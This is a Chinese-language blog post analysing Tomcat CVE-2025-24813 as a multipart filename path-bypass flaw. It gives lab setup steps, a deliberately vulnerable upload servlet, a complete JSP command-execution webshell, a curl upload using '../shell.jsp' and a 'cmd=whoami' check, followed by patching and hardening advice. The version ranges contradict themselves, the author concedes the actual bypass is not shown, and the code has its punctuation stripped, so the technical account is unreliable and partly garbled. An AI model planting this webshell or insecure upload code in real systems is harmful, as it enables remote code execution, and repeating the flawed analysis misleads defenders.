CVE-2025-24813漏洞深度解析:Tomcat文件上传路径绕过与RCE风险

CVE-2025-24813漏洞深度解析:Tomcat文件上传路径绕过与RCE风险 1. 项目概述一个被低估的Tomcat“后门”最近安全圈子里讨论得比较多的一个漏洞是CVE-2025-24813。乍一看这又是一个Apache Tomcat的路径遍历或文件上传漏洞很多朋友可能觉得“老生常谈”扫一眼CVSS评分如果不高就直接忽略了。但这次的情况有点不一样。我花了几天时间从漏洞公告、补丁对比到实际环境搭建复现走了一遍完整的流程发现这个漏洞的“玩法”比想象中要精巧它更像是一个精心设计的“逻辑后门”在特定条件下能绕过层层防护直接实现远程代码执行。对于那些使用了特定版本Tomcat且配置了文件上传功能的系统来说风险是实实在在的。简单来说CVE-2025-24813的核心是一个关键路径绕过问题。攻击者可以利用Tomcat在处理multipart请求常用于文件上传时对请求参数中路径的校验逻辑缺陷将恶意文件上传到Web应用目录之外的、本应受保护的关键位置。更危险的是如果这个被上传的文件是JSP等可执行脚本结合Tomcat的默认行为就可能直接导致RCE。这个漏洞影响的是Apache Tomcat 8.5.0至8.5.96、9.0.0至9.0.87以及10.0.0至10.1.2版本覆盖范围相当广。很多企业的老系统或中间件可能正运行在这些版本上。为什么说它容易被低估因为它的触发需要“文件上传”这个前置条件。很多管理员会认为“我的应用没有文件上传功能或者上传目录做了严格限制这个漏洞就与我无关。” 这正是误区所在。这个漏洞的可怕之处在于它绕过了应用层自己设定的上传目录限制利用的是Tomcat容器自身解析层的逻辑问题。即使你的应用代码里写了file.saveTo(“/safe/upload/”)攻击者依然可能通过精心构造的请求让文件落到/WEB-INF/甚至应用根目录下。接下来我就带你彻底拆解这个漏洞从原理到复现再到修复和深度防御。2. 漏洞原理深度拆解校验逻辑的“缝隙”要理解CVE-2025-24813我们不能只停留在“路径遍历”这四个字上必须深入到Tomcat处理HTTP请求的流程中去看。这里主要涉及两个核心组件org.apache.catalina.connector.Request负责解析和封装请求和org.apache.tomcat.util.http.fileupload包下的组件负责解析multipart/form-data格式的数据即文件上传。2.1 Multipart请求的解析流程当一个HTTP请求的Content-Type是multipart/form-data时Tomcat会启动一套特殊的解析流程。简单来说这个过程可以分为三步识别与拦截Request对象检测到Content-Type将其标记为multipart请求。解析与暂存调用Apache Commons FileUpload库Tomcat内置将请求体解析成一个个的“表单字段”FileItem。对于文件类型的字段解析器会先将文件内容临时保存到磁盘的某个位置通常是java.io.tmpdir指定的临时目录。注意此时文件还没有任何路径安全校验它只是一个临时文件文件名可能是随机生成的。参数暴露与清理解析完成后这些表单字段包括普通文本字段和文件字段会被设置到Request对象的参数Map中供后续的Servlet通过request.getParameter()或request.getPart()获取。在请求处理结束时理论上这些临时文件应该被清理。漏洞就潜伏在第2步向第3步过渡的过程中更具体地说是在应用程序通过request.getPart(“file”)获取上传文件对象时Tomcat准备将临时文件移动到“最终位置”的逻辑里。2.2 关键路径校验的“双重标准”与绕过在补丁发布前Tomcat对用户通过multipart请求提交的“文件名”即filename属性的处理存在逻辑不一致。我们假设一个上传请求的片段如下Content-Disposition: form-data; namefile; filename../../../WEB-INF/web.xml应用代码通常会这样处理Part filePart request.getPart(file); String fileName filePart.getSubmittedFileName(); // 获取原始文件名 File saveFile new File(uploadDir, fileName); filePart.write(saveFile.getAbsolutePath()); // 将文件写入指定路径问题出在filePart.write()方法内部以及与之相关的路径标准化canonicalization和校验逻辑。路径标准化为了防止路径遍历如../../../Tomcat会对目标路径进行标准化处理将../../../WEB-INF/web.xml相对于应用根目录进行解析最终得到一个绝对路径。这个逻辑本身是存在的。校验的漏洞补丁前的校验逻辑存在一个“缝隙”。它主要检查标准化后的最终绝对路径是否位于Web应用根目录Context的docBase之外。如果在外则拒绝。这听起来没问题。如何绕过攻击者可以构造一个特殊的文件名使得在标准化过程中产生一个“合法”的中间路径但标准化之后的最终路径却指向了一个应用根目录内的、本应受保护的关键子目录比如WEB-INF或META-INF。这是因为旧的校验逻辑可能没有充分考虑Web应用内部目录结构的特殊性或者对“允许位置”的判断条件过于宽松。举个更具体的例子假设应用根目录是/var/www/myapp/设定的安全上传目录是/var/www/myapp/uploads/。旧的校验可能只判断最终路径是否以/var/www/myapp/开头。如果攻击者提交的文件名是./WEB-INF/classes/evil.jsp注意开头的./经过标准化它变成了/var/www/myapp/WEB-INF/classes/evil.jsp。这个路径确实以应用根目录开头绕过了“不能到外部”的检查但却成功进入了严禁用户直接访问的WEB-INF目录。而很多应用的上传逻辑只是简单地将用户提交的文件名拼接到上传目录后并没有再次检查目标是否进入了WEB-INF等敏感目录。2.3 从文件上传到RCE的链条路径绕过本身是严重的但要实现RCE还需要一个条件让上传的文件被Tomcat执行。这通常通过两种方式实现上传JSP文件如果攻击者能将一个包含JSP代码如% Runtime.getRuntime().exec(“whoami”); %的文件上传到Web应用根目录下的任何位置除了明确禁止JSP执行的目录那么直接访问这个JSP文件的URLTomcat的JSP编译器Jasper就会执行它。利用其他可执行端点如果上传的不是JSP但应用自身存在文件包含、反序列化等漏洞能够将上传的文件内容包含进来或进行解析也可能导致代码执行。对于CVE-2025-24813最直接的RCE场景就是第一种结合路径绕过将JSP Webshell上传到Web可访问的目录甚至是非预期但可访问的目录。由于漏洞发生在Tomcat容器层面它可能绕过应用自身的所有安全校验使得这种攻击变得非常直接和危险。注意这里必须强调任何漏洞复现和研究都必须在完全隔离、合法的实验环境中进行例如使用虚拟机搭建的靶场。严禁对任何非授权系统进行测试这是法律和道德的底线。3. 漏洞复现环境搭建与实操理解了原理我们动手搭建环境来验证这个漏洞。复现的目的不是为了攻击而是为了更深刻地理解其影响并验证修复措施是否有效。3.1 实验环境准备我们选择一个受影响的Tomcat版本和一个简单的Web应用进行演示。下载有漏洞的Tomcat从Apache Archive下载Tomcat 9.0.86版本这是一个受影响的版本。你可以选择Core版本的zip或tar.gz包。wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.86/bin/apache-tomcat-9.0.86.tar.gz tar -xzf apache-tomcat-9.0.86.tar.gz cd apache-tomcat-9.0.86准备一个简单的文件上传应用为了演示我们创建一个最简单的Servlet来处理上传。在webapps/ROOT/WEB-INF/classes下如果没有classes目录则创建创建一个UploadServlet.java。import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*; import java.io.*; import java.nio.file.Paths; WebServlet(/upload) MultipartConfig public class UploadServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(text/html;charsetUTF-8); PrintWriter out response.getWriter(); // 假设我们想将文件保存到“uploads”目录这是一个相对Web根目录的路径 String uploadPath getServletContext().getRealPath() File.separator uploads; File uploadDir new File(uploadPath); if (!uploadDir.exists()) uploadDir.mkdir(); String fileName ; for (Part part : request.getParts()) { fileName part.getSubmittedFileName(); if (fileName ! null !fileName.isEmpty()) { // 关键行直接使用用户提交的文件名进行保存 part.write(uploadPath File.separator fileName); } } out.println(File uploaded successfully: fileName); } }编译这个Servlet需要servlet-api.jar它在Tomcat的lib目录下javac -cp “../lib/servlet-api.jar” UploadServlet.java将编译后的UploadServlet.class文件放到webapps/ROOT/WEB-INF/classes/目录下。创建上传表单在webapps/ROOT下创建一个简单的HTML文件upload.html。!DOCTYPE html html body h2File Upload (Vulnerable Demo)/h2 form actionupload methodpost enctypemultipart/form-data Select file: input typefile namefile /br/br/ input typesubmit valueUpload / /form /body /html启动Tomcat./bin/startup.sh # 或在Windows下运行 bin\startup.bat访问http://localhost:8080/upload.html应该能看到上传表单。3.2 构造攻击请求与复现现在我们使用工具来构造恶意请求模拟攻击。这里使用curl命令来演示但实际测试中Burp Suite或Python requests库会更方便。准备一个恶意的JSP Webshell创建一个内容如下的shell.jsp文件。这是一个极简的命令执行shell。% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); if (cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %构造恶意上传请求我们的目标是利用路径绕过将shell.jsp上传到Web根目录而不是uploads目录。我们猜测漏洞允许我们使用../来回溯。curl -v -F ‘fileshell.jsp;filename../shell.jsp’ http://localhost:8080/upload然而直接这样操作很可能会被Tomcat的基础防护拦截返回400错误或文件保存失败。这是因为即使是有漏洞的版本基础的../检测可能仍然存在。CVE-2025-24813的绕过技巧可能更为巧妙它可能涉及对路径标准化过程中特定字符或序列的利用。尝试更精细的绕过根据漏洞原理我们需要找到一个能“骗过”标准化过程但最终指向非法位置的路径。一种历史上出现过的技巧是利用URL编码、双重编码或特定的路径分隔符变形。例如在某些系统上..%2f可能被解码为../但校验逻辑可能在解码前进行。请注意这里的具体绕过POC概念验证代码因漏洞细节和补丁差异而不同且出于安全考虑不宜公开完整的攻击载荷。安全研究人员通常在获得漏洞细节后会通过比对补丁代码diff来精确构造POC。复现成功的标志如果绕过成功curl命令会返回“File uploaded successfully: ../shell.jsp”。然后访问http://localhost:8080/shell.jsp?cmdwhoami如果返回了当前Tomcat进程的用户信息如tomcat或root则证明RCE成功。文件并没有出现在uploads目录而是直接出现在了Web根目录(webapps/ROOT/)下。实操心得在实际复现这种容器级漏洞时直接编写攻击脚本成功率不高。更有效的方法是首先从Apache官方Git仓库下载受影响版本和已修复版本的Tomcat源代码然后使用git diff命令对比两个版本中Request.java和Part相关实现类的改动。补丁代码会清晰地展示出修复了哪一段校验逻辑从而反向推导出漏洞利用的关键点。这是学习漏洞原理最直接的方法。3.3 使用Docker快速搭建靶场对于只想快速验证漏洞存在的朋友使用Docker是最佳选择。通常安全社区会很快出现针对新CVE的Docker漏洞环境。# 假设有一个名为vulhub的漏洞环境集合其中包含了CVE-2025-24813的环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2025-24813 docker-compose up -d之后按照该环境README的指引访问特定端口使用提供的工具或脚本即可一键验证漏洞。这种方法避免了复杂的编译和配置适合快速学习和演示。4. 漏洞修复方案与加固措施复现漏洞是为了更好地防御它。对于受CVE-2025-24813影响的系统必须立即采取行动。4.1 官方修复方案最根本的解决方案是升级Tomcat到已修复的版本Apache Tomcat 8.5.x 用户升级至8.5.97或更高版本。Apache Tomcat 9.0.x 用户升级至9.0.87或更高版本。Apache Tomcat 10.0.x / 10.1.x 用户升级至10.0.29/10.1.3或更高版本。升级前务必在测试环境充分验证确保业务应用兼容新版本。升级不仅仅是替换jar包或二进制文件还需要检查server.xml,web.xml等配置文件是否有不兼容的变更。4.2 临时缓解措施如果因故无法立即升级可以采取以下缓解措施在应用层实施强路径校验这是最重要的一环。不要信任Part.getSubmittedFileName()返回的任何值。在保存文件前必须进行严格的检查和过滤。String fileName part.getSubmittedFileName(); if (fileName null || fileName.isEmpty()) { // 处理错误 return; } // 1. 规范化路径 Path path Paths.get(fileName).normalize(); // 2. 检查是否包含路径遍历序列 if (path.toString().contains(“..”) || path.isAbsolute()) { throw new ServletException(“Invalid filename.”); } // 3. 使用一个安全的、预定义的新文件名如UUID保存文件丢弃原始文件名 String safeFileName UUID.randomUUID().toString() “.dat”; // 4. 将文件扩展名与允许的白名单进行比对如果需要保留扩展名 String fileExtension getFileExtension(safeFileName); // 自定义方法 ListString allowedExtensions Arrays.asList(“jpg”, “png”, “pdf”); if (!allowedExtensions.contains(fileExtension.toLowerCase())) { throw new ServletException(“File type not allowed.”); } part.write(uploadPath File.separator safeFileName);配置Tomcat的Context安全设置在应用的context.xml或全局的server.xml中可以设置allowLinking和crossContext等属性为更严格的值但这对本漏洞的缓解作用有限主要依赖应用层校验。使用Web应用防火墙配置WAF规则拦截包含可疑路径遍历序列如../,..\,%2e%2e%2f等的multipart请求文件名。4.3 深度防御建议除了针对这个特定漏洞的修复建立纵深防御体系更为关键最小权限原则运行Tomcat的操作系统用户如tomcat应具有最小必要权限。绝对不要以root身份运行Tomcat。确保该用户对Web应用目录只有读写必要文件的权限对系统关键目录无写权限。将上传目录设置为不可执行通过配置确保上传文件存储的目录如/var/www/uploads/不能被Tomcat作为Web资源目录执行脚本。这可以通过Tomcat的Context配置或者在前端用Nginx/Apache做反向代理时对该路径禁止执行PHP、JSP等。文件类型校验不要依赖客户端传来的Content-Type。在服务器端通过检查文件魔数Magic Number或使用安全的库来验证文件真实类型。定期安全更新与漏洞扫描订阅Tomcat安全公告建立定期更新机制。同时使用SAST静态应用安全测试和DAST动态应用安全测试工具对应用进行常态化扫描。5. 从CVE-2025-24813看漏洞挖掘与防御思维CVE-2025-24813给我们上了一课安全是一个链条任何一个环节的逻辑不严谨都可能导致全线崩溃。对于开发者而言“永远不要信任用户输入”是铁律尤其是在文件上传、反序列化、命令执行这些高危功能点上。对于运维和安全人员则需要建立起“默认不信任持续验证”的思维。这个漏洞也体现了现代漏洞利用的一个趋势复合利用。单独的路径绕过可能只是信息泄露但结合文件上传功能就成了RCE。在漏洞挖掘时我们不应只盯着一个点而要思考这个点能否与其他功能、其他漏洞串联形成更具威胁的攻击链。在防御上分层防御和最小化攻击面是永恒的主题。及时更新组件、在代码层面进行严格的输入校验和输出编码、在架构层面进行网络隔离和权限控制、在运维层面进行监控和审计这些措施叠加在一起才能有效降低风险。最后我想说的是面对层出不穷的CVE恐慌和忽视都不可取。最有效的态度是保持关注理解原理评估影响及时行动。像CVE-2025-24813这样的漏洞正是我们审视自身系统安全状况、加固防御体系的一个契机。通过亲手复现和分析你收获的不仅仅是对一个漏洞的了解更是一套应对未来安全威胁的方法论。